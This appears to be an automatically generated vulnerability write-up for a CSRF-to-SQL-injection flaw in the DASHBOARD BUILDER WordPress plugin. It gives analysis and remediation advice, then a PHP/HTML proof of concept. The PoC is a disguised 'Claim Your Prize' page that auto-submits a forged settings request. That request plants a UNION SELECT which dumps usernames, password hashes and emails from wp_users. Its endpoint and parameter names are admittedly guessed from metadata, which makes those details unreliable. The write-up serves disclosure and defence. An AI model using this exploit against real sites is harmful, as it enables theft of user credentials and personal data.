Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14615: DASHBOARD BUILDER <= 1.5.7 – Cross-Site Request Forgery to SQL Injection (dashboard-builder)

CVE ID CVE-2025-14615
Plugin dashboard-builder
Severity High (CVSS 7.1)
CWE 352
Vulnerable Version 1.5.7
Patched Version —
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14615 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the DASHBOARD BUILDER WordPress plugin, versions up to and including 1.5.7. The CSRF condition in a settings handler allows an unauthenticated attacker to modify the plugin’s stored SQL query and database credentials. When a site administrator is tricked into submitting a forged request, the attacker can inject arbitrary SQL. This SQL is later executed on the front-end via the [show-dashboardbuilder] shortcode, leading to data exfiltration through publicly visible chart output. The CVSS score of 7.1 (High) reflects the network attack vector, low attack complexity, and high confidentiality impact.

Atomic Edge research infers the root cause from the CWE-352 classification and description. The vulnerability description explicitly states missing nonce validation on a settings handler in dashboardbuilder-admin.php. In WordPress, settings handlers for admin pages typically use the `admin_post` or `admin_menu` hooks to register callback functions. The absence of a `check_admin_referer()` or `wp_verify_nonce()` call in this handler allows state-changing actions to proceed without a valid CSRF token. This inference is based on the CWE and standard WordPress security patterns, as the source code is not available for confirmation.

The exploitation method involves a multi-step attack. An attacker crafts a malicious HTML page containing a forged POST request. This request targets the plugin’s vulnerable settings handler endpoint, likely `/wp-admin/admin-post.php?action=dashboardbuilder_save_settings` or a similar AJAX endpoint. The payload includes parameters to overwrite the stored SQL query with an attacker-controlled injection, such as a UNION SELECT statement. A site administrator with appropriate privileges must be tricked into loading this page while authenticated. Upon successful CSRF, the plugin’s configuration is poisoned. The SQL injection then triggers when any visitor loads a page containing the [show-dashboardbuilder] shortcode, executing the malicious query and potentially exfiltrating database contents through the chart’s public output.

Effective remediation requires implementing proper CSRF protection. The plugin developers must add nonce verification to the affected settings handler function. This involves generating a nonce with `wp_nonce_field()` in the corresponding settings form and validating it with `check_admin_referer()` or `wp_verify_nonce()` in the form submission handler. Additionally, the plugin should enforce proper capability checks (e.g., `manage_options`) and sanitize or parameterize the SQL query before storage to prevent injection even if the CSRF is bypassed. These measures align with WordPress coding standards for secure plugin development.

The impact of successful exploitation is significant. Attackers can perform arbitrary SQL injection, leading to full database exfiltration. Sensitive data like user credentials (hashed passwords), personal information, and other site content stored in the database can be stolen. The injection occurs via a front-end shortcode, making the stolen data visible within chart output on public pages. This could facilitate further attacks, such as password cracking or privilege escalation. The integrity impact is rated as Low because the attack modifies stored configuration data, not the core database structure. No availability impact is indicated.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

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PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14615 - DASHBOARD BUILDER <= 1.5.7 - Cross-Site Request Forgery to SQL Injection

<?php
/**
 * Proof of Concept for CVE-2025-14615.
 * This script simulates a malicious page an attacker would host.
 * It forges a POST request to the vulnerable settings handler.
 * Assumptions based on metadata:
 * 1. The vulnerable endpoint is a WordPress admin POST handler.
 * 2. The action parameter is derived from the plugin slug.
 * 3. Parameters exist to set a custom SQL query and database credentials.
 */

$target_url = 'http://vulnerable-site.example.com/wp-admin/admin-post.php';

// Craft the CSRF payload to inject a malicious SQL query.
// The query uses a UNION SELECT to exfiltrate wp_users data via the chart output.
$malicious_sql = "SELECT * FROM (SELECT 1 as id, 'Chart Title' as title, 'Label' as label, 100 as value) AS dummy UNION ALL SELECT ID, user_login, user_pass, user_email FROM wp_users";

// HTML page that auto-submits a form to the target when loaded by an authenticated admin.
?>
<!DOCTYPE html>
<html>
<head>
    <title>Click for Reward</title>
</head>
<body>
    <h1>Claim Your Prize</h1>
    <p>Please wait while we process your request...</p>
    <form id="exploit" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
        <!-- Assumed action parameter for the plugin's settings save hook -->
        <input type="hidden" name="action" value="dashboardbuilder_save_settings" />
        <!-- Assumed parameter for the SQL query configuration -->
        <input type="hidden" name="dashboard_sql_query" value="<?php echo htmlspecialchars($malicious_sql); ?>" />
        <!-- Potential parameter for database credentials to enable full control -->
        <input type="hidden" name="db_host" value="localhost" />
        <input type="hidden" name="db_user" value="root" />
        <input type="hidden" name="db_pass" value="" />
        <input type="hidden" name="db_name" value="wordpress" />
    </form>
    <script>
        // Auto-submit the form after a short delay to simulate a user action.
        setTimeout(function() {
            document.getElementById('exploit').submit();
        }, 2000);
    </script>
</body>
</html>

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